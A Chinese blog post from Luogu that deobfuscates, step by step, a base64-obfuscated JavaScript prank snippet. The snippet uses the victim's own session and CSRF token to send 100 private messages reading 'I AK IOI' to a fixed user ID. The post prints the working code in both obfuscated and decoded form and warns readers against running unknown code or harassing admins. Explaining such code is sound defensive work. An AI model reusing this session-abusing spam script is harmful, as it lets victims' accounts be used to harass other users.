私信 AK IOI 代码解析

· · 个人记录

https://www.luogu.com.cn/paste/yroy3ran

前置提醒:

  1. 严禁通过更改 UID 的方式骚扰管理,小心封私信。
  2. 不要轻易运行不明代码。

源代码:

async function bHVvZ3U(bHVvZ3UuY29tLmNu,bGdsZy50b3A){await fetch(decodeURI(atob("aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2FwaS9jaGF0L25ldw")), {headers: [["content-type", "application/json"],["referer", decodeURI(atob("aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuLw"))],["x-csrf-token", document.querySelector("meta[name=csrf-token]").content],],body: JSON.stringify({user: bHVvZ3UuY29tLmNu,content: bGdsZy50b3A,}),method: "POST",});}(function() {var cmVsZXZhbnRhZmZhaXJz;for(cmVsZXZhbnRhZmZhaXJz=0;cmVsZXZhbnRhZmZhaXJz<0x64;++cmVsZXZhbnRhZmZhaXJz){let aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2Rpc2N1c3MvbGlzdHM_Zm9ydW1uYW1lPXJlbGV2YW50YWZmYWlycw=decodeURI(atob("SSBBSyBJT0k"));bHVvZ3U(02043371,aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2Rpc2N1c3MvbGlzdHM_Zm9ydW1uYW1lPXJlbGV2YW50YWZmYWlycw)}})();

浅浅的给它加个缩进:

async function bHVvZ3U(bHVvZ3UuY29tLmNu, bGdsZy50b3A) {
    await fetch(decodeURI(atob("aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2FwaS9jaGF0L25ldw")), {
        headers: [["content-type", "application/json"], ["referer", decodeURI(atob("aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuLw"))], ["x-csrf-token", document.querySelector("meta[name=csrf-token]").content], ],
        body: JSON.stringify({
            user: bHVvZ3UuY29tLmNu,
            content: bGdsZy50b3A,
        }),
        method: "POST",
    });
}
(function() {
    var cmVsZXZhbnRhZmZhaXJz;
    for (cmVsZXZhbnRhZmZhaXJz = 0; cmVsZXZhbnRhZmZhaXJz < 0x64; ++cmVsZXZhbnRhZmZhaXJz) {
        let aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2Rpc2N1c3MvbGlzdHM_Zm9ydW1uYW1lPXJlbGV2YW50YWZmYWlycw = decodeURI(atob("SSBBSyBJT0k"));
        bHVvZ3U(02043371, aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2Rpc2N1c3MvbGlzdHM_Zm9ydW1uYW1lPXJlbGV2YW50YWZmYWlycw)
    }
}
)();

把一些变量名进行替换:

async function f(u, s) {
    await fetch(decodeURI(atob("aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2FwaS9jaGF0L25ldw")), {
        headers: [["content-type", "application/json"], ["referer", decodeURI(atob("aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuLw"))], ["x-csrf-token", document.querySelector("meta[name=csrf-token]").content], ],
        body: JSON.stringify({
            user: u,
            content: s,
        }),
        method: "POST",
    });
}
(function() {
    var i;
    for (i = 0; i < 0x64; ++i) {
        let x = decodeURI(atob("SSBBSyBJT0k"));
        f(02043371, x)
    }
}
)();

解码 base64:

async function f(u, s) {
    await fetch("https://www.luogu.com.cn/api/chat/new", {
        headers: [["content-type", "application/json"], ["referer", "https://www.luogu.com.cn/"], ["x-csrf-token", document.querySelector("meta[name=csrf-token]").content], ],
        body: JSON.stringify({
            user: u,
            content: s,
        }),
        method: "POST",
    });
}
(function() {
    var i;
    for (i = 0; i < 0x64; ++i) {
        let x = "I AK IOI";
        f(02043371, x)
    }
}
)();

进制转换:

async function f(u, s) {
    await fetch("https://www.luogu.com.cn/api/chat/new", {
        headers: [["content-type", "application/json"], ["referer", "https://www.luogu.com.cn/"], ["x-csrf-token", document.querySelector("meta[name=csrf-token]").content], ],
        body: JSON.stringify({
            user: u,
            content: s,
        }),
        method: "POST",
    });
}
(function() {
    var i;
    for (i = 0; i < 100; ++i) {
        let x = "I AK IOI";
        f(542457, x)
    }
}
)();

即调用 100f(542457, "I AK IOI")

f 函数用来给 UID 为 u 的用户私信发送字符串 s

灵感来源:@SqrtSecond。

再次提醒:严禁通过更改 UID 的方式骚扰管理,小心封私信。